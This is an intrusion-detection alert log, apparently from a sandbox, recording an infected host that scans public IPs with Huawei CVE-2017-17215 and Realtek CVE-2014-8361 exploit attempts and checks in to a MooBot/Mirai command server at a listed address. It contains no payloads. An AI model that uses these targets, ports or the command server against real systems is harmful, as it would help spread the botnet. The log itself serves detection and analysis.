2024-07-20T23:00:59.219743+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59916	37215	192.168.2.23	157.129.228.162
2024-07-20T23:00:59.175742+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32798	37215	192.168.2.23	157.71.150.37
2024-07-20T23:00:59.223718+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39668	37215	192.168.2.23	157.53.103.29
2024-07-20T23:01:00.654988+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40002	37215	192.168.2.23	157.59.116.210
2024-07-20T23:01:05.120492+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56952	52869	192.168.2.23	5.53.123.92
2024-07-20T23:01:20.243707+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56566	52869	192.168.2.23	113.34.69.120
2024-07-20T23:01:00.658630+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47118	37215	192.168.2.23	197.217.22.246
2024-07-20T23:00:59.219743+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40010	37215	192.168.2.23	170.47.187.157
2024-07-20T23:01:19.419347+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33712	52869	192.168.2.23	184.60.97.199
2024-07-20T23:01:21.557356+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58484	52869	192.168.2.23	186.129.229.179
2024-07-20T23:00:56.851055+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	32848	2466	192.168.2.23	15.235.203.214
2024-07-20T23:01:00.651026+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59428	37215	192.168.2.23	197.118.130.41
2024-07-20T23:01:21.244103+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48232	52869	192.168.2.23	98.176.193.82
2024-07-20T23:00:59.218458+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49836	37215	192.168.2.23	197.55.44.167
2024-07-20T23:01:11.815818+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60474	37215	192.168.2.23	41.171.182.143
2024-07-20T23:01:20.280424+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47964	52869	192.168.2.23	71.113.201.241
2024-07-20T23:01:18.378526+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38000	37215	192.168.2.23	41.143.61.103
2024-07-20T23:00:59.170219+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39054	37215	192.168.2.23	41.184.89.253
2024-07-20T23:01:02.083467+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33838	37215	192.168.2.23	41.101.142.15
2024-07-20T23:00:59.203029+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56586	37215	192.168.2.23	41.244.190.175
2024-07-20T23:01:21.214465+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36066	37215	192.168.2.23	58.150.96.208
2024-07-20T23:01:21.527399+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50724	52869	192.168.2.23	184.77.18.239
2024-07-20T23:01:02.088423+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58700	37215	192.168.2.23	157.224.12.67
2024-07-20T23:01:19.580320+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52634	52869	192.168.2.23	212.114.230.189
2024-07-20T23:01:14.014458+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57656	37215	192.168.2.23	41.176.109.210
2024-07-20T23:01:00.663232+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51534	37215	192.168.2.23	157.187.188.100
2024-07-20T23:01:18.309512+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59124	37215	192.168.2.23	157.236.245.35
2024-07-20T23:01:19.326551+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57088	52869	192.168.2.23	5.1.90.206
2024-07-20T23:01:19.496545+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49602	52869	192.168.2.23	114.57.93.253
2024-07-20T23:01:21.177250+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58548	52869	192.168.2.23	37.189.124.248
2024-07-20T23:01:21.723120+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35024	52869	192.168.2.23	155.161.137.123
2024-07-20T23:01:20.253167+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46746	52869	192.168.2.23	113.241.155.67
2024-07-20T23:01:00.660317+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35438	37215	192.168.2.23	197.233.33.61
2024-07-20T23:01:00.660317+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32868	37215	192.168.2.23	113.30.251.105
2024-07-20T23:01:21.019040+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60784	52869	192.168.2.23	178.251.54.152
2024-07-20T23:00:59.208769+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60908	37215	192.168.2.23	41.96.218.16
2024-07-20T23:00:59.219743+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45996	37215	192.168.2.23	157.115.232.41
2024-07-20T23:01:00.649623+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32936	37215	192.168.2.23	137.33.55.254
2024-07-20T23:01:20.314319+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52414	52869	192.168.2.23	45.158.122.120
2024-07-20T23:01:21.231239+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48310	52869	192.168.2.23	12.208.124.228
2024-07-20T23:00:59.203030+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39662	37215	192.168.2.23	216.40.91.1
2024-07-20T23:01:08.939279+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33890	52869	192.168.2.23	133.66.91.121
2024-07-20T23:01:11.815593+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33210	37215	192.168.2.23	111.178.38.86
2024-07-20T23:01:22.245977+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46928	52869	192.168.2.23	58.116.31.11
2024-07-20T23:01:18.275355+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52906	37215	192.168.2.23	157.119.223.145
2024-07-20T23:01:19.811938+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37044	52869	192.168.2.23	117.27.97.229
2024-07-20T23:01:19.339510+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58748	52869	192.168.2.23	189.63.115.173
2024-07-20T23:01:00.656262+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59862	37215	192.168.2.23	197.92.38.185
2024-07-20T23:01:18.285263+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52728	37215	192.168.2.23	125.230.182.28
2024-07-20T23:01:02.088423+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46582	37215	192.168.2.23	157.238.18.41
2024-07-20T23:01:21.554632+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40104	37215	192.168.2.23	157.63.197.170
2024-07-20T23:01:20.182814+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49282	52869	192.168.2.23	70.239.61.12
2024-07-20T23:01:00.648916+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38714	37215	192.168.2.23	41.99.7.194
2024-07-20T23:01:21.198290+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49528	52869	192.168.2.23	46.176.142.26
2024-07-20T23:01:18.539093+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41330	37215	192.168.2.23	197.148.93.189
2024-07-20T23:01:21.562923+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45156	52869	192.168.2.23	120.98.109.98
2024-07-20T23:01:19.858243+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55224	52869	192.168.2.23	162.63.105.168
2024-07-20T23:00:59.171003+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41416	37215	192.168.2.23	197.194.145.174
2024-07-20T23:01:00.661486+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52146	37215	192.168.2.23	51.142.141.117
2024-07-20T23:01:18.510150+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55906	37215	192.168.2.23	197.159.88.79
2024-07-20T23:00:59.201622+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34032	37215	192.168.2.23	197.67.179.143
2024-07-20T23:01:04.432754+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33920	37215	192.168.2.23	187.182.184.30
2024-07-20T23:01:18.599875+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47332	37215	192.168.2.23	197.146.199.163
2024-07-20T23:01:19.515380+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57270	52869	192.168.2.23	41.215.81.142
2024-07-20T23:01:21.588308+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59360	52869	192.168.2.23	117.76.49.30
2024-07-20T23:01:21.941341+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38424	37215	192.168.2.23	41.90.83.142
2024-07-20T23:00:59.208769+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44106	37215	192.168.2.23	197.114.117.243
2024-07-20T23:01:19.565849+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52384	52869	192.168.2.23	90.243.193.156
2024-07-20T23:01:21.840696+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54012	52869	192.168.2.23	218.185.172.90
2024-07-20T23:01:19.419599+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47142	52869	192.168.2.23	213.46.179.130
2024-07-20T23:01:18.285263+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49188	37215	192.168.2.23	197.166.141.245
2024-07-20T23:01:20.943979+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41746	52869	192.168.2.23	115.161.142.144
2024-07-20T23:01:21.531036+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40650	52869	192.168.2.23	24.106.184.126
2024-07-20T23:01:21.300446+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51400	52869	192.168.2.23	9.134.98.50
2024-07-20T23:01:18.488326+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44174	37215	192.168.2.23	197.38.235.14
2024-07-20T23:00:59.175742+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57488	37215	192.168.2.23	157.234.59.179
2024-07-20T23:01:19.317572+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52638	52869	192.168.2.23	164.189.55.135
2024-07-20T23:01:20.184321+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59652	37215	192.168.2.23	157.143.93.40
2024-07-20T23:00:59.208769+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34626	37215	192.168.2.23	41.160.207.169
2024-07-20T23:01:21.514691+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59564	37215	192.168.2.23	157.198.81.69
2024-07-20T23:00:59.213565+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34754	37215	192.168.2.23	41.24.39.230
2024-07-20T23:01:02.136941+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35512	37215	192.168.2.23	85.79.139.138
2024-07-20T23:01:01.081889+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43466	52869	192.168.2.23	189.75.86.189
2024-07-20T23:01:00.648916+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48680	37215	192.168.2.23	1.70.219.104
2024-07-20T23:01:18.167729+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40788	37215	192.168.2.23	157.147.238.186
2024-07-20T23:01:14.169782+0200	TCP	2030489	ET MALWARE ELF/MooBot Mirai DDoS Variant Server Response	2466	32848	15.235.203.214	192.168.2.23
2024-07-20T23:01:00.663232+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39940	37215	192.168.2.23	197.175.112.209
2024-07-20T23:00:59.227759+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60464	37215	192.168.2.23	41.189.194.244
2024-07-20T23:01:19.466954+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52268	52869	192.168.2.23	207.223.182.162
2024-07-20T23:01:20.252557+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40882	52869	192.168.2.23	91.33.144.77
2024-07-20T23:01:19.827683+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41974	52869	192.168.2.23	159.20.45.153
2024-07-20T23:01:18.423367+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57708	37215	192.168.2.23	41.143.175.164
2024-07-20T23:01:20.197536+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56188	37215	192.168.2.23	114.205.87.78
2024-07-20T23:00:59.176163+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58944	37215	192.168.2.23	41.20.92.100
2024-07-20T23:01:00.648916+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56956	37215	192.168.2.23	89.73.227.199
2024-07-20T23:01:02.136941+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42612	37215	192.168.2.23	178.236.15.67
2024-07-20T23:01:21.202996+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34424	52869	192.168.2.23	208.190.62.115
2024-07-20T23:00:59.170219+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46354	37215	192.168.2.23	84.167.140.65
2024-07-20T23:01:20.137445+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38742	37215	192.168.2.23	157.202.161.192
2024-07-20T23:01:21.004535+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47818	52869	192.168.2.23	120.187.5.172
2024-07-20T23:01:18.422394+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47728	37215	192.168.2.23	41.6.98.70
2024-07-20T23:01:19.825974+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57370	52869	192.168.2.23	70.59.242.166
2024-07-20T23:00:59.227759+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54948	37215	192.168.2.23	157.23.56.129
2024-07-20T23:01:02.088869+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46656	37215	192.168.2.23	157.47.11.186
2024-07-20T23:01:18.545693+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34718	37215	192.168.2.23	197.89.108.63
2024-07-20T23:01:20.227541+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57776	52869	192.168.2.23	189.28.183.134
2024-07-20T23:01:11.816293+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50264	37215	192.168.2.23	41.248.82.51
2024-07-20T23:01:21.456312+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59666	37215	192.168.2.23	197.28.251.253
2024-07-20T23:01:21.267821+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52478	52869	192.168.2.23	132.33.116.164
2024-07-20T23:01:08.919725+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46758	52869	192.168.2.23	12.55.180.198
2024-07-20T23:00:59.224296+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52812	37215	192.168.2.23	41.248.83.42
2024-07-20T23:01:21.124881+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50118	52869	192.168.2.23	74.116.148.181
2024-07-20T23:01:00.661808+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37310	37215	192.168.2.23	157.115.23.92
2024-07-20T23:01:18.297902+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42650	37215	192.168.2.23	47.7.162.229
2024-07-20T23:01:14.013612+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35052	37215	192.168.2.23	41.84.101.199
2024-07-20T23:01:00.652845+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35972	37215	192.168.2.23	209.253.85.199
2024-07-20T23:01:20.191460+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35798	52869	192.168.2.23	207.30.132.8
2024-07-20T23:01:02.095698+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47304	37215	192.168.2.23	111.12.203.144
2024-07-20T23:01:21.844542+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56940	52869	192.168.2.23	170.225.184.185
2024-07-20T23:01:00.662826+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45546	37215	192.168.2.23	157.12.106.29
2024-07-20T23:00:59.170218+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52500	37215	192.168.2.23	197.58.83.134
2024-07-20T23:01:20.265368+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59542	52869	192.168.2.23	75.207.187.133
2024-07-20T23:01:21.267123+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60912	52869	192.168.2.23	114.190.123.93
2024-07-20T23:01:18.266144+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40282	37215	192.168.2.23	23.141.91.228
2024-07-20T23:01:21.454208+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35784	52869	192.168.2.23	103.18.195.93
2024-07-20T23:01:00.661808+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54854	37215	192.168.2.23	157.21.145.183
2024-07-20T23:01:00.648916+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59370	37215	192.168.2.23	190.161.188.69
2024-07-20T23:01:18.526699+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58950	37215	192.168.2.23	197.71.207.159
2024-07-20T23:01:21.181268+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60326	52869	192.168.2.23	2.32.130.76
2024-07-20T23:00:59.184421+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38946	37215	192.168.2.23	67.15.208.48
2024-07-20T23:00:59.203030+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41970	37215	192.168.2.23	197.113.51.118
2024-07-20T23:01:21.188822+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34358	37215	192.168.2.23	197.67.20.2
2024-07-20T23:01:22.224479+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39416	52869	192.168.2.23	4.114.3.131
2024-07-20T23:00:59.175742+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41506	37215	192.168.2.23	157.139.2.14
2024-07-20T23:01:02.136941+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44984	37215	192.168.2.23	197.81.4.61
2024-07-20T23:01:00.663232+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57736	37215	192.168.2.23	41.242.166.123
2024-07-20T23:01:20.359095+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37202	52869	192.168.2.23	18.37.139.58
2024-07-20T23:00:59.223718+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49544	37215	192.168.2.23	41.37.144.8
2024-07-20T23:01:00.648489+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35680	37215	192.168.2.23	197.132.243.55
2024-07-20T23:01:21.085513+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38216	37215	192.168.2.23	197.235.150.198
2024-07-20T23:01:21.160094+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49722	52869	192.168.2.23	132.182.11.252
2024-07-20T23:01:21.214465+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38334	52869	192.168.2.23	207.112.16.238
2024-07-20T23:01:00.652845+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60452	37215	192.168.2.23	25.19.64.41
2024-07-20T23:00:59.164966+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55784	37215	192.168.2.23	197.64.180.236
2024-07-20T23:01:18.271403+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45112	37215	192.168.2.23	157.87.181.134
2024-07-20T23:01:21.198929+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60402	52869	192.168.2.23	14.23.231.227
2024-07-20T23:01:20.287563+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49352	52869	192.168.2.23	193.7.32.204
2024-07-20T23:01:02.127340+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47078	37215	192.168.2.23	197.24.224.193
2024-07-20T23:01:18.416781+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41818	37215	192.168.2.23	207.93.222.13
2024-07-20T23:01:19.463189+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43256	52869	192.168.2.23	206.208.92.27
2024-07-20T23:01:00.660317+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47164	37215	192.168.2.23	157.63.143.206
2024-07-20T23:01:00.657714+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58502	37215	192.168.2.23	197.160.34.184
2024-07-20T23:01:02.083467+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35136	37215	192.168.2.23	157.167.188.131
2024-07-20T23:01:07.151635+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42202	37215	192.168.2.23	197.43.231.118
2024-07-20T23:01:09.027075+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49516	52869	192.168.2.23	213.46.179.130
2024-07-20T23:01:21.444565+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49432	37215	192.168.2.23	157.146.94.28
2024-07-20T23:01:08.912088+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34906	52869	192.168.2.23	195.67.134.63
2024-07-20T23:01:21.239495+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34482	52869	192.168.2.23	80.176.127.107
2024-07-20T23:01:04.444176+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57262	52869	192.168.2.23	175.24.153.194
2024-07-20T23:00:59.218458+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53706	37215	192.168.2.23	157.34.104.183
